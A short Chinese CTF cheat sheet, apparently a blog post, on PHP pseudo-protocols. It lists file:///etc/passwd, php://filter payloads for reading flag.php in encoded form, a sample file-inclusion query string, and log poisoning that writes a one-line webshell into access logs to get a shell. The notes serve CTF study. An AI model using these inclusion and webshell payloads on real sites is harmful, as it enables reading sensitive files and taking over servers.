CTF之PHP伪协议和能够使用伪协议的函数

常用:

 注:这里的data对大小写敏感,PHP,FILE不敏感,并且data的任意代码执行?>会闭合!

1.file://协议,需要填写绝对路径只能读取txt文件。后面直接跟绝对路径即可。

file:///etc/passwd

2.php://filter

(1)String Filters(字符串过滤器)

php://filter/string.rot13/resource=flag.php //读出以后利用ROT13解码即可

php://filter/string.toupper/resource=flag.php //转大写

php://filter/string.tolower/resource=flag.php //转小写

php://filter/string.strip_tags/resource=flag.php //php标签里所有东西都会被去除,html只有标签会被去除,里面的文字不会删除

(2)Conversion Filters(转换过滤器)

php://filter/convert.base64-encode/resource=flag.php //base64加密读出

php://filter/convert.quoted-printable-encode/resource=flag.php //在后面加了个=0A,其他含义不清楚

convert.iconv.*:

用法:

convert.iconv.<input-encoding>.<output-encoding>
or
convert.iconv.<input-encoding>/<output-encoding>

<input-encoding>和<output-encoding> 就是编码方式,有如下几种:

UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*
EUC-JP*
SJIS*
eucJP-win*
SJIS-win*

示例payload:

?filename=php://filter//convert.iconv.SJIS*.UCS-4*/resource=/var/www/html/flag.php

(3)Compression Filters(压缩过滤器)

利用payload:

php://filter/zlib.deflate|zlib.inflate/resource=flag.php        //zlib.deflate(压缩)|zlib.inflate(解压)
or
php://filter/bzip2.compress|bzip2.decompress/resource=flag.php   //bzip2.compress(压缩)|bzip2.decompress(解压)

3.包含日志文件,抓包写入一句话木马,进行getshell 日志文件路径:

(1)/var/log/nginx/access.log

(2)/var/log/apache2/access_log

4.支持伪协议的函数

1. highlight_file()

2.file_get_contents()

3.file_put_contents()

posted @ 2022-05-22 23:16  hithub  阅读(674)  评论(0编辑  收藏  举报